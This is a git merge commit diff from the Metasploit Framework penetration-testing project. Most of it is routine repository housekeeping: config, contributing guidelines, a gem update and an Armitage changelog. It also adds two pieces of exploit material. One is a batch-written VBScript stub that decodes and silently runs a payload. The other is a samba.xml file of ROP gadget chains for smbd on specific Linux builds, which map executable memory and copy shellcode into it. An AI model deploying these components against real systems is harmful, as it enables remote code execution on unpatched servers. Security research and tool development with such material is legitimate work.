Merge branch 'master' into nullbind-mssql_linkcrawler

unstable
sinn3r 2012-12-06 23:51:06 -06:00
commit cddda9eab7
402 changed files with 21326 additions and 3784 deletions

2
.gitignore vendored
View File

@ -6,6 +6,8 @@
.yardoc .yardoc
# Mac OS X files # Mac OS X files
.DS_Store .DS_Store
# simplecov coverage data
coverage
data/meterpreter/ext_server_pivot.dll data/meterpreter/ext_server_pivot.dll
data/meterpreter/ext_server_pivot.x64.dll data/meterpreter/ext_server_pivot.x64.dll
doc doc

8
.travis.yml Normal file
View File

@ -0,0 +1,8 @@
language: ruby
rvm:
- '1.8.7'
- '1.9.3'
notifications:
irc: "irc.freenode.org#msfnotify"

33
CONTRIBUTING.md Normal file
View File

@ -0,0 +1,33 @@
# Contributing to Metasploit
## Reporting Bugs
If you would like to report a bug, please take a look at [our Redmine
issue
tracker](https://dev.metasploit.com/redmine/projects/framework/issues?query_id=420)
-- your bug may already have been reported there! Simply [searching](https://dev.metasploit.com/redmine/projects/framework/search) for some appropriate keywords may save everyone a lot of hassle.
If your bug is new and you'd like to report it you will need to
[register
first](https://dev.metasploit.com/redmine/account/register). Don't
worry, it's easy and fun and takes about 30 seconds.
## Contributing Metasploit Modules
If you have an exploit that you'd like to contribute to the Metasploit
Framework, please familiarize yourself with the
**[HACKING](https://github.com/rapid7/metasploit-framework/blob/master/HACKING)**
document in the
Metasploit-Framework repository. There are many mysteries revealed in
HACKING concerning code style and content.
[Pull requests](https://github.com/rapid7/metasploit-framework/pulls)
should corellate with modules at a 1:1 ratio
-- there is rarely a good reason to have two, three, or ten modules on
one pull request, as this dramatically increases the review time
required to land (commit) any of those modules.
Pull requests tend to be very collaborative for Metasploit -- do not be
surprised if your pull request to rapid7/metasploit-framework triggers a
pull request back to your own fork. In this way, we can isolate working
changes before landing your PR to the Metasploit master branch.

View File

@ -5,7 +5,7 @@ gem 'activesupport', '>= 3.0.0'
# Needed for Msf::DbManager # Needed for Msf::DbManager
gem 'activerecord' gem 'activerecord'
# Database models shared between framework and Pro. # Database models shared between framework and Pro.
gem 'metasploit_data_models', :git => 'git://github.com/rapid7/metasploit_data_models.git' gem 'metasploit_data_models', :git => 'git://github.com/rapid7/metasploit_data_models.git', :tag => '0.3.0'
# Needed for module caching in Mdm::ModuleDetails # Needed for module caching in Mdm::ModuleDetails
gem 'pg', '>= 0.11' gem 'pg', '>= 0.11'
@ -24,4 +24,7 @@ end
group :test do group :test do
# testing framework # testing framework
gem 'rspec' gem 'rspec'
# code coverage for tests
# any version newer than 0.5.4 gives an Encoding error when trying to read the source files.
gem 'simplecov', '0.5.4', :require => false
end end

View File

@ -1,8 +1,9 @@
GIT GIT
remote: git://github.com/rapid7/metasploit_data_models.git remote: git://github.com/rapid7/metasploit_data_models.git
revision: dd6c3a31c5ad8b55f4913b5ba20307178ba9c7bf revision: 73f26789500f278dd6fd555e839d09a3b81a05f4
tag: 0.3.0
specs: specs:
metasploit_data_models (0.0.2) metasploit_data_models (0.3.0)
activerecord activerecord
activesupport activesupport
pg pg
@ -27,7 +28,7 @@ GEM
coderay (1.0.8) coderay (1.0.8)
diff-lcs (1.1.3) diff-lcs (1.1.3)
i18n (0.6.1) i18n (0.6.1)
method_source (0.8) method_source (0.8.1)
multi_json (1.3.6) multi_json (1.3.6)
pg (0.14.1) pg (0.14.1)
pry (0.9.10) pry (0.9.10)
@ -44,6 +45,10 @@ GEM
rspec-expectations (2.11.3) rspec-expectations (2.11.3)
diff-lcs (~> 1.1.3) diff-lcs (~> 1.1.3)
rspec-mocks (2.11.3) rspec-mocks (2.11.3)
simplecov (0.5.4)
multi_json (~> 1.0.3)
simplecov-html (~> 0.5.3)
simplecov-html (0.5.3)
slop (3.3.3) slop (3.3.3)
tzinfo (0.3.33) tzinfo (0.3.33)
yard (0.8.2.1) yard (0.8.2.1)
@ -59,4 +64,5 @@ DEPENDENCIES
rake rake
redcarpet redcarpet
rspec rspec
simplecov (= 0.5.4)
yard yard

View File

@ -1,5 +1,5 @@
Metasploit Metasploit [![Build Status](https://travis-ci.org/rapid7/metasploit-framework.png)](https://travis-ci.org/rapid7/metasploit-framework) [![Code Climate](https://codeclimate.com/badge.png)](https://codeclimate.com/github/rapid7/metasploit-framework)
== ==
The Metasploit Framework is released under a BSD-style license. See The Metasploit Framework is released under a BSD-style license. See
COPYING for more details. COPYING for more details.
@ -40,10 +40,11 @@ reading some of the great tutorials online:
Contributing Contributing
-- --
See the [Dev Environment Setup][wiki-devenv] guide on github which will See the [Dev Environment Setup][wiki-devenv] guide on GitHub which will
walk you through the whole process starting from installing all the walk you through the whole process starting from installing all the
dependencies, to cloning the repository, and finally to submitting a dependencies, to cloning the repository, and finally to submitting a
pull request. pull request. For slightly more info, see
[Contributing](https://github.com/rapid7/metasploit-framework/blob/master/CONTRIBUTING.md).
[wiki-devenv]: https://github.com/rapid7/metasploit-framework/wiki/Metasploit-Development-Environment "Metasploit Development Environment Setup" [wiki-devenv]: https://github.com/rapid7/metasploit-framework/wiki/Metasploit-Development-Environment "Metasploit Development Environment Setup"

Binary file not shown.

Binary file not shown.

View File

@ -1,6 +1,29 @@
Armitage Changelog Armitage Changelog
================== ==================
26 Nov 12 (tested against msf 16114)
---------
- Windows command shell tab is now friendlier to commands that prompt
for input (e.g., time command)
- [host] -> Meterpreter -> Access -> Escalate Privileges now shows all
the framework's new exploit/windows/local modules too
- [host] -> Shell -> Post Modules now shows the framework's unix/local
and exploit/linux/local modules
- Added Ctrl+I shortcut. Lets you choose a session to interact with.
- Added Steal Token button to Processes dialog.
- Armitage now asks Metasploit for a non-expiring authentication token.
This will prevent Armitage from losing its access to msfrpcd when you
put your computer to sleep or pause the VM running Metasploit.
- add_user and add_[local]group_user now show all of their output when
the -h flag is used to operate on a remote host.
- added a Delete menu to creds table. Right-click a cred to delete it
Cortana Updates (for scripters)
--------
- aliased &data_delete to &data_clear to match the documentation.
- &file_get, &loot_get, and &file_content no longer delete the remote
file when connected to a teamserver.
16 Oct 12 (tested against msf 15972) 16 Oct 12 (tested against msf 15972)
--------- ---------
- Added port 5985 to MSF Scans list. - Added port 5985 to MSF Scans list.

View File

@ -0,0 +1,41 @@
echo Set fs = CreateObject("Scripting.FileSystemObject") >>decode_stub
echo Set file = fs.GetFile("ENCODED") >>decode_stub
echo If file.Size Then >>decode_stub
echo Set fd = fs.OpenTextFile("ENCODED", 1) >>decode_stub
echo data = fd.ReadAll >>decode_stub
echo data = Replace(data, vbCrLf, "") >>decode_stub
echo data = base64_decode(data) >>decode_stub
echo fd.Close >>decode_stub
echo Set ofs = CreateObject("Scripting.FileSystemObject").OpenTextFile("DECODED", 2, True) >>decode_stub
echo ofs.Write data >>decode_stub
echo ofs.close >>decode_stub
echo Set shell = CreateObject("Wscript.Shell") >>decode_stub
echo shell.run "DECODED", 0, false >>decode_stub
echo Wscript.sleep(1000 * 60 * 5) >>decode_stub
echo Else >>decode_stub
echo Wscript.Echo "The file is empty." >>decode_stub
echo End If >>decode_stub
echo Function base64_decode(byVal strIn) >>decode_stub
echo Dim w1, w2, w3, w4, n, strOut >>decode_stub
echo For n = 1 To Len(strIn) Step 4 >>decode_stub
echo w1 = mimedecode(Mid(strIn, n, 1)) >>decode_stub
echo w2 = mimedecode(Mid(strIn, n + 1, 1)) >>decode_stub
echo w3 = mimedecode(Mid(strIn, n + 2, 1)) >>decode_stub
echo w4 = mimedecode(Mid(strIn, n + 3, 1)) >>decode_stub
echo If Not w2 Then _ >>decode_stub
echo strOut = strOut + Chr(((w1 * 4 + Int(w2 / 16)) And 255)) >>decode_stub
echo If Not w3 Then _ >>decode_stub
echo strOut = strOut + Chr(((w2 * 16 + Int(w3 / 4)) And 255)) >>decode_stub
echo If Not w4 Then _ >>decode_stub
echo strOut = strOut + Chr(((w3 * 64 + w4) And 255)) >>decode_stub
echo Next >>decode_stub
echo base64_decode = strOut >>decode_stub
echo End Function >>decode_stub
echo Function mimedecode(byVal strIn) >>decode_stub
echo Base64Chars = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/" >>decode_stub
echo If Len(strIn) = 0 Then >>decode_stub
echo mimedecode = -1 : Exit Function >>decode_stub
echo Else >>decode_stub
echo mimedecode = InStr(Base64Chars, strIn) - 1 >>decode_stub
echo End If >>decode_stub
echo End Function >>decode_stub

Binary file not shown.

Binary file not shown.

BIN
data/exploits/exec_payload.msi Executable file

Binary file not shown.

Binary file not shown.

436
data/ropdb/samba.xml Normal file
View File

@ -0,0 +1,436 @@
<?xml version="1.0" encoding="ISO-8859-1"?>
<db>
<rop>
<compatibility>
<target>Debian Squeeze / 2:3.5.6~dfsg-3squeeze6</target>
</compatibility>
<!--
dpkg -l|grep libgcrypt
ii libgcrypt11 1.4.5-2 LGPL Crypto library - runtime library
b6977000-b69e8000 r-xp 00000000 08:01 160176 /usr/lib/libgcrypt.so.11.5.3
b69e8000-b69eb000 rw-p 00070000 08:01 160176 /usr/lib/libgcrypt.so.11.5.3
-->
<gadgets base="0">
<gadget offset="0x00004d44">pop ebx ; pop ebp ; ret</gadget>
<gadget offset="0x00071ad4">offset of .got.plt section</gadget>
<gadget value ="0x00000000">ebp = junk to be skipped over</gadget>
<gadget offset="0x00063dbf">pop eax; ret</gadget>
<gadget offset="0x00071af4">mmap@got - 4</gadget>
<gadget offset="0x000166f7">mov eax, dword [eax+0x04] ; ret || eax = @mmap</gadget>
<gadget offset="0x00009974">jmp eax</gadget>
<gadget offset="0x00004d41">add esp, 0x14 ; pop ebx ; pop ebp ; ret || mmap ret, skip overt mmap arguments</gadget>
<gadget value ="0x00000000">mmap arg : addr</gadget>
<gadget value ="0x00001000">mmap arg : size</gadget>
<gadget value ="0x00000007">mmap arg : PROT_READ | PROT_WRITE | PROT_EXEC</gadget>
<gadget value ="0x00000022">mmap arg : MAP_PRIVATE | MAP_ANON</gadget>
<gadget value ="0xffffffff">mmap arg : filedes </gadget>
<gadget value ="0x00000000">mmap arg : off_t </gadget>
<gadget value ="0x00000000">junk to be skipped over</gadget>
<gadget offset="0x0006a761">pop edx ; inc ebx ; ret</gadget>
<gadget offset="0x00073000">edx = writable location, in GOT</gadget>
<gadget offset="0x0004159f">mov dword [edx], eax ; mov byte [edx+0x06], cl ; mov byte [edx+0x07], al ; pop ebp ; ret || save EAX (mmaped addr) in GOT</gadget>
<gadget value ="0x00000000">ebp = junk to be skipped over</gadget>
<gadget offset="0x0005d4c3">xchg eax, edx ; ret || edx = MMAPed addr, dst in memcpy</gadget>
<gadget offset="0x00060a1a">pop esi ; ret</gadget>
<gadget offset="0x0005c01b">pop ebp ; pop ecx ; ret || ecx = esp</gadget>
<gadget offset="0x0003da28">push esp ; and al, 0x0C ; call esi</gadget>
<gadget offset="0x00063dbf">pop eax ; ret</gadget>
<gadget value ="0x0000005c">eax = value to add to esp to point to shellcode</gadget>
<gadget offset="0x000538c4">add eax, ecx ; pop edi ; pop ebp ; ret</gadget>
<gadget value ="0x00000000">edi = junk to be skipped over</gadget>
<gadget value ="0x00000000">ebp = junk to be skipped over</gadget>
<gadget offset="0x00055743">xchg eax, ebx ; ret || ebx = esp + XX == src in memcpy</gadget>
<gadget offset="0x00063dbf">pop eax; ret</gadget>
<gadget offset="0x00071b6c">memcpy@got - 4</gadget>
<gadget offset="0x000166f7">mov eax, dword [eax+0x04] ; ret || eax = @memcpy</gadget>
<gadget offset="0x00055743">xchg eax, ebx ; ret || eax = src in memcpy , ebx = @memcpy</gadget>
<!-- set ecx to same value than edx -->
<gadget offset="0x0006e61f">xchg eax, esi ; ret || save eax</gadget>
<gadget offset="0x00063dbf">pop eax; ret</gadget>
<gadget offset="0x00072ffc">saved mmaped addr - 4</gadget>
<gadget offset="0x000166f7">mov eax, dword [eax+0x04] ; ret || eax = saved mmaped addr</gadget>
<gadget offset="0x0005c914"> xchg eax, ecx ; ret ; || edx = ecx , after memcpy, ret on edx, ie mmaped addr</gadget>
<gadget offset="0x0006e61f"> xchg eax, esi ; ret ; || restore eax</gadget>
<gadget offset="0x00060a1a">pop esi ; ret</gadget>
<gadget offset="0x00071ad4">esi = offset of .got.plt section</gadget>
<gadget offset="0x00008505">pop edi ; pop ebp **1** ; ret</gadget>
<gadget offset="0x00004d0c">(P) pop ebx ; pop esi ; pop edi ; ret || pop .got.plt in ebx (was pushed through esi with pushad)</gadget>
<gadget value ="0x00000000">junk for ebp **1** </gadget>
<gadget offset="0x0005b68a">pushad ; ret || will ret on gadget (P) which was in edi</gadget>
<gadget value ="size">payload size</gadget>
</gadgets>
</rop>
<rop>
<compatibility>
<target>Ubuntu 11.10 / 2:3.5.8~dfsg-1ubuntu2</target>
<target>Ubuntu 11.10 / 2:3.5.11~dfsg-1ubuntu2</target>
</compatibility>
<!--
dpkg -l|grep libgcr
ii libgcrypt11 1.5.0-1 LGPL Crypto library - runtime library
b69e3000-b6a65000 r-xp 00000000 08:01 148828 /lib/i386-linux-gnu/libgcrypt.so.11.7.0
b6a65000-b6a66000 r**p 00081000 08:01 148828 /lib/i386-linux-gnu/libgcrypt.so.11.7.0
b6a66000-b6a68000 rw-p 00082000 08:01 148828 /lib/i386-linux-gnu/libgcrypt.so.11.7.0
-->
<gadgets base="0">
<gadget offset="0x000048ee">pop ebx ; ret</gadget>
<gadget offset="0x00082ff4">offset of .got.plt section</gadget>
<gadget offset="0x0006933f">pop eax; ret</gadget>
<gadget offset="0x000830a4">mmap@got - 4</gadget>
<gadget offset="0x0001a0d4">mov eax, dword [eax+0x04] ; ret || eax = @mmap</gadget>
<gadget offset="0x00007d79">jmp eax</gadget>
<gadget offset="0x00005646">add esp, 0x1C; ret || mmap ret, skip overt mmap arguments</gadget>
<gadget value ="0x00000000">mmap arg : addr</gadget>
<gadget value ="0x00001000">mmap arg : size</gadget>
<gadget value ="0x00000007">mmap arg : PROT_READ | PROT_WRITE | PROT_EXEC</gadget>
<gadget value ="0x00000022">mmap arg : MAP_PRIVATE | MAP_ANON</gadget>
<gadget value ="0xffffffff">mmap arg : filedes </gadget>
<gadget value ="0x00000000">mmap arg : off_t </gadget>
<gadget value ="0x00000000">junk to be skipped over</gadget>
<gadget offset="0x0006fe61">pop edx ; inc ebx ; ret</gadget>
<gadget offset="0x00084000">edx = writable location, in GOT</gadget>
<gadget offset="0x00046dcd">mov dword [edx], eax ; mov byte [edx+0x06], cl ; mov byte [edx+0x07], al ; ret || save EAX (mmaped addr) in GOT</gadget>
<gadget offset="0x00008532">xchg eax, ecx ; ret || ecx = MMAPed addr, dst in memcpy</gadget>
<gadget offset="0x000438ad">mov eax, ecx ; pop ebp ; ret</gadget>
<gadget value ="0x00000000">junk for ebp</gadget>
<gadget offset="0x000056e8">mov edx, eax ; mov eax, edx ; ret || edx = eax = ecx , after memcpy, ret on edx, ie mmaped addr</gadget>
<gadget offset="0x0006933f">pop eax ; ret</gadget>
<gadget offset="0x00084100">eax = writable location, in GOT</gadget>
<gadget offset="0x000048ee">pop ebx ; ret</gadget>
<gadget offset="0x00084100">ebx = writable location, in GOT</gadget>
<gadget offset="0x0004cccf">push esp ; add dword [eax], eax ; add byte [ebx+0x5E], bl ; pop edi ; pop ebp ; ret || edi = esp</gadget>
<gadget value ="0x00000000">junk for ebp</gadget>
<gadget offset="0x00020bad">mov eax, edi ; pop ebx ; pop esi ; pop edi ; ret</gadget>
<gadget value ="0x00000000">junk for ebx</gadget>
<gadget value ="0x00000048">esi = value to add to esp to point to shellcode</gadget>
<gadget value ="0x00000000">junk for edi</gadget>
<gadget offset="0x0001ffef">xchg eax, ebx ; ret</gadget>
<gadget offset="0x0000c39c">add ebx, esi ; ret || ebx = esp + XX == src in memcpy</gadget>
<gadget offset="0x0006933f">pop eax; ret</gadget>
<gadget offset="0x00083024">memcpy@got - 4</gadget>
<gadget offset="0x0001a0d4">mov eax, dword [eax+0x04] ; ret || eax = @memcpy</gadget>
<gadget offset="0x0001ffef">xchg eax, ebx ; ret || eax = src in memcpy , ebx = @memcpy</gadget>
<gadget offset="0x00004803">pop esi ; ret</gadget>
<gadget offset="0x00082ff4">esi = offset of .got.plt section</gadget>
<gadget offset="0x00007af3">pop edi ; pop ebp **1** ; ret</gadget>
<gadget offset="0x000104c5">(P) pop ebx ; pop esi ; pop edi ; ret || pop .got.plt in ebx (was pushed through esi with pushad)</gadget>
<gadget value ="0x00000000">junk for ebp **1** </gadget>
<gadget offset="0x0001fdfa">pushad ; ret || will ret on gadget (P) which was in edi</gadget>
<gadget value ="size">payload size</gadget>
</gadgets>
</rop>
<rop>
<compatibility>
<target>Ubuntu 11.04 / 2:3.5.8~dfsg-1ubuntu2</target>
</compatibility>
<!--
dpkg -l|grep libgcr
ii libgcrypt11 1.4.6-4ubuntu2 LGPL Crypto library - runtime library
b69f8000-b6a69000 r-xp 00000000 08:01 17571 /lib/i386-linux-gnu/libgcrypt.so.11.6.0
b6a69000-b6a6a000 r**p 00070000 08:01 17571 /lib/i386-linux-gnu/libgcrypt.so.11.6.0
b6a6a000-b6a6c000 rw-p 00071000 08:01 17571 /lib/i386-linux-gnu/libgcrypt.so.11.6.0
we arrive on rop chain with pop esp ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret
4 first pops are after pop esp
-->
<gadgets base="0">
<gadget offset="0x00071ff4">ebx = offset of .got.plt section</gadget>
<gadget value ="0x00000000">esi = junk to be skipped over</gadget>
<gadget value ="0x00000000">edi = junk to be skipped over</gadget>
<gadget value ="0x00000000">ebp = junk to be skipped over</gadget>
<gadget offset="0x000641ff">pop eax; ret</gadget>
<gadget offset="0x00072010">mmap@got - 4</gadget>
<gadget offset="0x00017af7">mov eax, dword [eax+0x04] ; ret || eax = @mmap</gadget>
<gadget offset="0x00007f19">jmp eax</gadget>
<gadget offset="0x000046b1">add esp, 0x14 ; pop ebx ; pop ebp ; ret || mmap ret, skip overt mmap arguments</gadget>
<gadget value ="0x00000000">mmap arg : addr</gadget>
<gadget value ="0x00001000">mmap arg : size</gadget>
<gadget value ="0x00000007">mmap arg : PROT_READ | PROT_WRITE | PROT_EXEC</gadget>
<gadget value ="0x00000022">mmap arg : MAP_PRIVATE | MAP_ANON</gadget>
<gadget value ="0xffffffff">mmap arg : filedes </gadget>
<gadget value ="0x00000000">mmap arg : off_t </gadget>
<gadget value ="0x00000000">junk to be skipped over</gadget>
<gadget offset="0x0006abc1">pop edx ; inc ebx ; ret</gadget>
<gadget offset="0x00073000">edx = writable location, in GOT</gadget>
<gadget offset="0x00041b85">mov dword [edx], eax ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret || save EAX (mmaped addr) in GOT</gadget>
<gadget value ="0x00000000">junk to be skipped over</gadget>
<gadget offset="0x0005822d">esi = pop ebx ; pop esi ; pop edi ; ret</gadget>
<gadget value ="0x00000000">junk to be skipped over</gadget>
<gadget value ="0x00000000">junk to be skipped over</gadget>
<gadget offset="0x0005d903">xchg eax, edx ; ret || edx = eax , after memcpy, ret on edx, ie mmaped addr</gadget>
<gadget offset="0x00043cd5">push esp ; and al, 0x08 ; mov dword [esp+0x04], 0x00000008 ; call esi || after call, esi = esp </gadget>
<gadget value ="0x00000000">junk to be skipped over</gadget>
<gadget offset="0x00005c60">xchg eax, esi ; ret</gadget>
<gadget offset="0x0005c45c">pop ecx ; ret</gadget>
<gadget value ="0x0000005c">value to add to esp to point to shellcode</gadget>
<gadget offset="0x00053dc4">add eax, ecx ; pop edi ; pop ebp ; ret</gadget>
<gadget value ="0x00000000">edi = junk to be skipped over</gadget>
<gadget value ="0x00000000">ebp = junk to be skipped over</gadget>
<gadget offset="0x0005c6e9">xchg eax, ebx ; ret || ebx = src in memcpy</gadget>
<gadget offset="0x000641ff">pop eax; ret</gadget>
<gadget offset="0x00072ffc">writable add in GOT - 4</gadget>
<gadget offset="0x00017af7">mov eax, dword [eax+0x04] ; ret || eax = mmaped addr</gadget>
<gadget offset="0x0005cd54">xchg eax, ecx ; ret || ecx = MMAPed addr, dst in memcpy</gadget>
<gadget offset="0x000641ff">pop eax; ret</gadget>
<gadget offset="0x0007204c">memcpy@got - 4</gadget>
<gadget offset="0x00017af7">mov eax, dword [eax+0x04] ; ret || eax = @memcpy</gadget>
<gadget offset="0x0005c6e9">xchg eax, ebx ; ret || eax = src in memcpy , ebx = @memcpy</gadget>
<gadget offset="0x00060e5a">pop esi ; ret</gadget>
<gadget offset="0x00071ff4">esi = offset of .got.plt section</gadget>
<gadget offset="0x00007d05">pop edi ; pop ebp **1** ; ret</gadget>
<gadget offset="0x0005822d">(P) pop ebx ; pop esi ; pop edi ; ret || pop .got.plt in ebx (was pushed through esi with pushad)</gadget>
<gadget value ="0x00000000">junk for ebp **1** </gadget>
<gadget offset="0x0005baca">pushad ; ret || will ret on gadget (P) which was in edi</gadget>
<gadget value ="size">payload size</gadget>
</gadgets>
</rop>
<rop>
<compatibility>
<target>Ubuntu 10.10 / 2:3.5.4~dfsg-1ubuntu8</target>
</compatibility>
<!--
dpkg -l|grep libgcrypt
ii libgcrypt11 1.4.5-2ubuntu1 LGPL Crypto library - runtime library
b6a20000-b6a91000 r-xp 00000000 08:01 17247 /lib/libgcrypt.so.11.5.3
b6a91000-b6a92000 r**p 00070000 08:01 17247 /lib/libgcrypt.so.11.5.3
b6a92000-b6a94000 rw-p 00071000 08:01 17247 /lib/libgcrypt.so.11.5.3
-->
<gadgets base="0">
<gadget offset="0x00004634">pop ebx ; pop ebp ; ret</gadget>
<gadget offset="0x00071ff4">offset of .got.plt section</gadget>
<gadget value ="0x00000000">ebp = junk to be skipped over</gadget>
<gadget offset="0x0006421f">pop eax; ret</gadget>
<gadget offset="0x00072010">mmap@got - 4</gadget>
<gadget offset="0x00016297">mov eax, dword [eax+0x04] ; ret || eax = @mmap</gadget>
<gadget offset="0x0000922c">jmp eax</gadget>
<gadget offset="0x00004631">add esp, 0x14 ; pop ebx ; pop ebp ; ret || mmap ret, skip overt mmap arguments</gadget>
<gadget value ="0x00000000">mmap arg : addr</gadget>
<gadget value ="0x00001000">mmap arg : size</gadget>
<gadget value ="0x00000007">mmap arg : PROT_READ | PROT_WRITE | PROT_EXEC</gadget>
<gadget value ="0x00000022">mmap arg : MAP_PRIVATE | MAP_ANON</gadget>
<gadget value ="0xffffffff">mmap arg : filedes </gadget>
<gadget value ="0x00000000">mmap arg : off_t </gadget>
<gadget value ="0x00000000">junk to be skipped over</gadget>
<gadget offset="0x0006abc1">pop edx ; inc ebx ; ret</gadget>
<gadget offset="0x00073000">edx = writable location, in GOT</gadget>
<gadget offset="0x000417af">mov dword [edx], eax ; mov byte [edx+0x06], cl ; mov byte [edx+0x07], al ; pop ebp ; ret || save EAX (mmaped addr) in GOT</gadget>
<gadget value ="0x00000000">ebp = junk to be skipped over</gadget>
<gadget offset="0x0005d923">xchg eax, edx ; ret || edx = MMAPed addr, dst in memcpy</gadget>
<gadget offset="0x00060e7a">pop esi ; ret</gadget>
<gadget offset="0x0005c47b">pop ebp ; pop ecx ; ret || ecx = esp</gadget>
<gadget offset="0x0003dbd8">push esp ; and al, 0x0C ; call esi</gadget>
<gadget offset="0x0006421f">pop eax ; ret</gadget>
<gadget value ="0x0000005c">eax = value to add to esp to point to shellcode</gadget>
<gadget offset="0x00053c64">add eax, ecx ; pop edi ; pop ebp ; ret</gadget>
<gadget value ="0x00000000">edi = junk to be skipped over</gadget>
<gadget value ="0x00000000">ebp = junk to be skipped over</gadget>
<gadget offset="0x00043999">xchg eax, ebx ; ret || ebx = esp + XX == src in memcpy</gadget>
<gadget offset="0x0006421f">pop eax; ret</gadget>
<gadget offset="0x00072094">memcpy@got - 4</gadget>
<gadget offset="0x00016297">mov eax, dword [eax+0x04] ; ret || eax = @memcpy</gadget>
<gadget offset="0x00043999">xchg eax, ebx ; ret || eax = src in memcpy , ebx = @memcpy</gadget>
<!-- set ecx to same value than edx -->
<gadget offset="0x0006ea7f">xchg eax, esi ; ret || save eax</gadget>
<gadget offset="0x0006421f">pop eax; ret</gadget>
<gadget offset="0x00072ffc">saved mmaped addr - 4</gadget>
<gadget offset="0x00016297">mov eax, dword [eax+0x04] ; ret || eax = saved mmaped addr</gadget>
<gadget offset="0x0005cd74"> xchg eax, ecx ; ret ; || edx = ecx , after memcpy, ret on edx, ie mmaped addr</gadget>
<gadget offset="0x0006ea7f"> xchg eax, esi ; ret ; || restore eax</gadget>
<gadget offset="0x00060e7a">pop esi ; ret</gadget>
<gadget offset="0x00071ff4">esi = offset of .got.plt section</gadget>
<gadget offset="0x00007e05">pop edi ; pop ebp **1** ; ret</gadget>
<gadget offset="0x00058245">(P) pop ebx ; pop esi ; pop edi ; ret || pop .got.plt in ebx (was pushed through esi with pushad)</gadget>
<gadget value ="0x00000000">junk for ebp **1** </gadget>
<gadget offset="0x000128cc">pushad ; ret || will ret on gadget (P) which was in edi</gadget>
<gadget value ="size">payload size</gadget>
</gadgets>
</rop>
<rop>
<compatibility>
<target>3.5.10-0.107.el5 on CentOS 5</target>
</compatibility>
<!--
yum list |grep libgcrypt
libgcrypt.i386 1.4.4-5.el5 installed
02c63000-02ce1000 r-xp 00000000 fd:00 929390 /usr/lib/libgcrypt.so.11.5.2
02ce1000-02ce4000 rwxp 0007d000 fd:00 929390 /usr/lib/libgcrypt.so.11.5.2
section is writable and executable, we'll copy the shellcode over there instead of using mmap
-->
<gadgets base="0">
<gadget offset="0x00004277">pop esi ; pop ebp ; ret</gadget>
<gadget offset="0x0005e842">pop eax ; pop ebx ; pop esi ; pop edi ; ret || eax = ret eip from call esi, ebx = esp, esi = edi = junk</gadget>
<gadget value ="0x00000000">ebp = junk to be skipped over</gadget>
<gadget offset="0x00028374">push esp ; and al, 0x08 ; mov dword [esp+0x04], 0x00000007 ; call esi</gadget>
<gadget value ="0x00000000">esi = junk to be skipped over</gadget>
<gadget value ="0x00000000">edi = junk to be skipped over</gadget>
<gadget offset="0x00062c29">xchg eax, ebx ; ret || eax = esp</gadget>
<gadget offset="0x0006299c">pop ecx ; ret</gadget>
<gadget value ="0x0000005c">value to add to esp to point to shellcode</gadget>
<gadget offset="0x0005a44d">add ecx, eax ; mov eax, ecx ; ret || eax = ecx = shellcode</gadget>
<gadget offset="0x0006f5a1">pop edx ; inc ebx ; ret || set edx = to dst in memcpy for ret after pushad</gadget>
<gadget offset="0x00080800">offset of writable/executable memory (last 0x800 bytes)</gadget>
<gadget offset="0x0006a73f">pop eax ; ret</gadget>
<gadget offset="0x0007effc">memcpy@got - 4</gadget>
<gadget offset="0x00015e47">mov eax, dword [eax+0x04] ; ret || eax = @memcpy</gadget>
<gadget offset="0x00062c29">xchg eax, ebx ; ret || ebx = @memcpy</gadget>
<gadget offset="0x0001704e">mov eax, ecx ; ret || eax = ecx = src in memcpy</gadget>
<gadget offset="0x00004277">pop esi ; pop ebp ; ret</gadget>
<gadget offset="0x0007ef54">esi = offset of .got.plt section</gadget>
<gadget value ="0x00000000">ebp = junk to be skipped over</gadget>
<gadget offset="0x0006299c">pop ecx ; ret</gadget>
<gadget offset="0x00080800">offset of writable/executable memory (last 0x800 bytes)</gadget>
<gadget offset="0x00007a2b">pop edi ; pop ebp ** 1 **; ret</gadget>
<gadget offset="0x00004276">(P) pop ebx ; pop esi ; pop ebp ; ret</gadget>
<gadget value ="0x00000000">junk for ebp **1**</gadget>
<gadget offset="0x0006200a">pushad ; ret</gadget>
<gadget value ="size">payload size</gadget>
</gadgets>
</rop>
<!-- ROP CHAIN for smbd 2:3.5.11~dfsg-1ubuntu2
<compatibility>
<target>Ubuntu 11.10 / 2:3.5.11~dfsg-1ubuntu2</target>
</compatibility>
<gadgets base="0">
<gadget offset="0x0000f3b1">pop eax; ret</gadget>
<gadget offset="0x00991ff0">mmap64@got</gadget>
<gadget offset="0x002f3ea4">mov eax, dword [eax] ; ret || eax = @mmap64</gadget>
<gadget offset="0x008c8997">jmp eax</gadget>
<gadget offset="0x0009ee21">add esp, 0x14; pop ebx; pop ebp; ret || mmap64 ret, skip overt mmap arguments</gadget>
<gadget value ="0x00000000">mmap arg : addr</gadget>
<gadget value ="0x00001000">mmap arg : size</gadget>
<gadget value ="0x00000007">mmap arg : PROT_READ | PROT_WRITE | PROT_EXEC</gadget>
<gadget value ="0x00000022">mmap arg : MAP_PRIVATE | MAP_ANON</gadget>
<gadget value ="0xffffffff">mmap arg : filedes </gadget>
<gadget value ="0x00000000">mmap arg : off64_t part 1</gadget>
<gadget value ="0x00000000">mmap arg : off64_t part 2</gadget>
<gadget offset="0x0034fbd2">pop edx ; ret</gadget>
<gadget offset="0x0099a000">edx = writable location, in GOT</gadget>
<gadget offset="0x0034c2bc">mov dword [edx], eax ; ret; || save EAX (mmaped addr) in GOT</gadget>
<gadget offset="0x001fc04c">mov ecx, eax; mov eax, ecx; ret || ecx = MMAPed addr, dst in memcpy</gadget>
<gadget offset="0x000a1d24">mov edx, eax ; mov eax, edx ; ret || edx = eax = ecx , after memcpy, ret on edx, ie mmaped addr</gadget>
<gadget offset="0x001e0d59">push esp ; pop ebx ; pop esi ; ret || ebx = esp</gadget>
<gadget value ="0x00000000">junk for esi</gadget>
<gadget offset="0x0036fd9a">pop ebp ; ret</gadget>
<gadget value ="0x00000034">value to add to esp to point to shellcode</gadget>
<gadget offset="0x001a73b2">add ebx, ebp ; ret || ebx = src in memcpy</gadget>
<gadget offset="0x0008c5ac">pop eax; ret</gadget>
<gadget offset="0x00991904">memcpy@got</gadget>
<gadget offset="0x002f3ea4">mov eax, dword [eax] ; ret || eax = @memcpy</gadget>
<gadget offset="0x001726b5">xchg eax, ebx ; ret || eax = src in memcpy , ebx = @memcpy</gadget>
<gadget offset="0x006a3bba">pop edi ; pop ebp **1** ; ret</gadget>
